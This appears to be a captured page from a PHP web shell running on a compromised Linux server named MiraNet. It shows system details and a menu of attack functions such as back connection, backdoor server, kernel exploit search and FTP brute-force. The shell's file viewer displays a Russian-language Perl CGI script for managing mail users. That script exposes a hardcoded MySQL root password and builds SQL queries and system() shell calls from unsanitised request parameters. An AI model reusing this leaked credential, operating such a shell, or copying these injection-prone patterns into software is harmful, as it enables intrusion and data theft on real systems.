|
|
| System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
|---|
| Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
|---|
| ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|---|
|
| Safe Mode | : | OFF |
|---|
| Open_Basedir | : | OFF |
|---|
| Freespace | : | 27.24 GB of 70.42 GB (38.69%) |
|---|
|
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
|
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
http/
cgi-bin/
mail/
- drwxrwxrwx
|
Viewing file:  users.cgi (6.98 KB) -rwxr-xr-xSelect action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
#!/usr/bin/perl
use DBI();
use CGI qw(:standard);
$dblogin = param("dblogin");
$dbologin = param("dbologin");
$dbpwd = param("dbpwd");
$dbaccess = param("dbaccess");
$dbenabled = param("dbenabled");
$act = param("act");
$old = param("old");
$authl = param("authl");
$authp = param("authp");
system "./auth.cgi users.cgi $authl $authp";
$retcode = $? / 256;
if ($retcode ne "1") {exit;}
my $cooke = cookie('mail.miranet');
if ($cooke eq "") {print "<html><meta http-equiv=\"refresh\" content=\"0\"></html>"; exit;}
if ($cooke ne "1") {print "<html><body><h1>Forbidden</h1><hr>Недостаточно прав"; exit;}
#print "Content-type: text/html\n\n";
system("./ustat $rip |grep 1 > $rip");
open(patt,"<./patt_n1.html")||die "Pattern file 1 not found";
while(<patt>)
{
print;
}
close(patt);
$database="mail";
$hostname="127.0.0.1";
$port="3306";
$dbuser="root";
$dbpasswd="zopa25703";
$dsn = "DBI:mysql:database=$database;host=$hostname;port=$port";
$dbh = DBI->connect_cached($dsn, $dbuser, $dbpasswd) || die;
if ($act eq "delete")
{
$sth = $dbh->prepare("DELETE FROM manage WHERE login=\"$dblogin\"");
$sth->execute();
$act = "";
}
if ($act eq "add")
{
$sth = $dbh->prepare("INSERT INTO manage VALUES (\"$dblogin\",\"$dbpwd\",\"$dbaccess\",\"$dbenabled\")");
$sth->execute();
$act = "";
}
if ($act eq "change")
{
$sth = $dbh->prepare("UPDATE manage SET login=\"$dblogin\",password=\"$dbpwd\",access=\"$dbaccess\",enabled=\"$dbenabled\" WHERE login=\"$dbologin\"");
$sth->execute();
$act = "";
}
if ($act eq "edit")
{
print "<center><table border=0 cellspacing=0 bgcolor=#004070><tr><td bgcolor=#004070><table border=0 cellspacing=1 valign=top align=center cellpadding=6>";
print "<td bgcolor=#005090><b><font color=#ffff00 face=\"arial\">Имя пользователя</font></b></td>";
print "<td bgcolor=#005090><b><font color=#ffff00 face=\"arial\">Пароль</font></b></td>";
print "<td bgcolor=#005090><b><font color=#ffff00 face=\"arial\">Доступ</font></b></td>";
print "<td bgcolor=#005090><b><font color=#ffff00 face=\"arial\">Включено</font></b></td>";
print "<td bgcolor=#005090><b><font color=#ffff00 face=\"arial\">Действие</font></b></td></tr>";
$sth = $dbh->prepare("SELECT * FROM manage WHERE login=\"$dblogin\"");
$sth->execute();
($dblogin, $dbpwd, $dbaccess, $dbenabled) = $sth->fetchrow_array();
if ($dbenabled eq "1") {$yes = "selected"; $no = "";} else {$no = "selected"; $yes = "";}
print "<tr><form name=\"form1\" action=\"users.cgi\" method=\"POST\">
<td bgcolor=#005797><font color=#00ddff face=\"arial\"><input type=\"text\" name=\"dblogin\" value=\"$dblogin\"></td>
<td bgcolor=#005797><font color=#00ddff face=\"arial\"><input type=\"password\" name=\"dbpwd\" value=\"$dbpwd\"></td>
<td bgcolor=#005797><font color=#00ddff face=\"arial\"><select name=\"dbaccess\">";
if ($dbaccess eq "1") {print "<option value=1 selected>Полный</option>";} else {print "<option value=1>Полный</option>";}
$sth = $dbh->prepare("SELECT domain FROM transport");
$sth->execute();
while (my ($domain) = $sth->fetchrow_array())
{
if ($domain eq $dbaccess) {print "<option value=$domain selected>$domain</option>";} else {print "<option value=$domain>$domain</option>";}
}
print "</td><td bgcolor=#005797><font color=#00ddff face=\"arial\"><center><select name=\"dbenabled\">
<option value=1 $yes>Да</option><option value=0 $no>Нет</option></center></td>
<input type=\"hidden\" name=\"act\" value=\"change\">
<input type=\"hidden\" name=\"dbologin\" value=\"$dblogin\">
<td bgcolor=#005797><font color=#00ddff face=\"arial\"><input type=\"submit\" name=\"chg\" value=\"Изменить\" />";
print "</form></tr></table></td></tr></table>";
print "<hr></center><b>| <a href=\"manage.cgi\">Учётные записи</a> | <a href=\"users.cgi\">Пользователи</a> | <a href=\"domain.cgi\">Настройка доменов</a> |</b>";
}
if ($act eq "")
{
print "<center><table border=0 cellspacing=0 bgcolor=#004070><tr><td bgcolor=#004070><table border=0 cellspacing=1 valign=top align=center cellpadding=6>";
print "<td bgcolor=#005090><b><font color=#ffff00 face=\"arial\">Имя пользователя</font></b></td>";
print "<td bgcolor=#005090><b><font color=#ffff00 face=\"arial\">Пароль</font></b></td>";
print "<td bgcolor=#005090><b><font color=#ffff00 face=\"arial\">Доступ</font></b></td>";
print "<td bgcolor=#005090><b><font color=#ffff00 face=\"arial\">Включено</font></b></td>";
print "<td bgcolor=#005090><b><font color=#ffff00 face=\"arial\">Действие</font></b></td></tr>";
$sth = $dbh->prepare("SELECT * FROM manage");
$sth->execute();
while (my ($dblogin, $dbpwd, $dbaccess, $dbenabled) = $sth->fetchrow_array())
{
if ($dbaccess eq "1") {$dbaccess1 = "Полный";} else {$dbaccess1 = $dbaccess;}
if ($dbenabled eq "1") {$dbenabled1 = "Да";} else {$dbenabled1 = "Нет";}
if ($dbenabled eq "1") {$fc="#ffffff"; $fc1="#00ddff";} else {$fc="#ff7777"; $fc1="#eeaacc";}
print "<tr><td bgcolor=#005797><a href=\"users.cgi?act=edit&dblogin=$dblogin\"><font color=$fc1 face=\"arial\">$dblogin</font></a></b></td>";
print "<td bgcolor=#005797><font color=$fc face=\"arial\"><acronym title=\"$dbpwd\">********</acronym></font></b></td>";
print "<td bgcolor=#005797><font color=$fc face=\"arial\">$dbaccess1  </font></b></td>";
print "<td bgcolor=#005797><center><font color=$fc face=\"arial\">$dbenabled1  </font></center></b></td>";
print "<td bgcolor=#005797><a href=\"users.cgi?act=delete&dblogin=$dblogin\"><font color=#00ddff face=\"arial\">Удалить</font></a> <a href=\"users.cgi?act=edit&dblogin=$dblogin\"><font color=#00ddff face=\"arial\">Изменить</font></a></b></td></tr>";
}
print "<tr><form name=\"form1\" action=\"users.cgi\" method=\"POST\">
<td bgcolor=#005797><font color=#00ddff face=\"arial\"><input type=\"text\" name=\"dblogin\"></td>
<td bgcolor=#005797><font color=#00ddff face=\"arial\"><input type=\"password\" name=\"dbpwd\"></td>
<td bgcolor=#005797><font color=#00ddff face=\"arial\"><select name=\"dbaccess\">";
print "<center><option value=1>Полный</option>";
$sth = $dbh->prepare("SELECT domain FROM transport");
$sth->execute();
while (my ($domain) = $sth->fetchrow_array())
{
print "<option value=$domain>$domain</option>";
}
print "</center></td><td bgcolor=#005797><font color=#00ddff face=\"arial\"><center><select name=\"dbenabled\">
<option value=1>Да</option><option value=0>Нет</option></center></td>";
print "<input type=\"hidden\" name=\"act\" value=\"add\">
<td bgcolor=#005797><font color=#00ddff face=\"arial\"><center><input type=\"submit\" name=\"add\" value=\"Добавить\" /></center>";
print "</form></tr></table></td></tr></table>";
print "<hr></center><b>| <a href=\"manage.cgi\">Учётные записи</a> | <a href=\"domain.cgi\">Настройка доменов</a> |</b>";
}
$dbh->disconnect();
system("./ustat $rip |grep 1 > $rip");
open(patt,"<./patt_n2.html")||die "Pattern file 2 not found";
while(<patt>)
{
print;
}
close(patt);
|
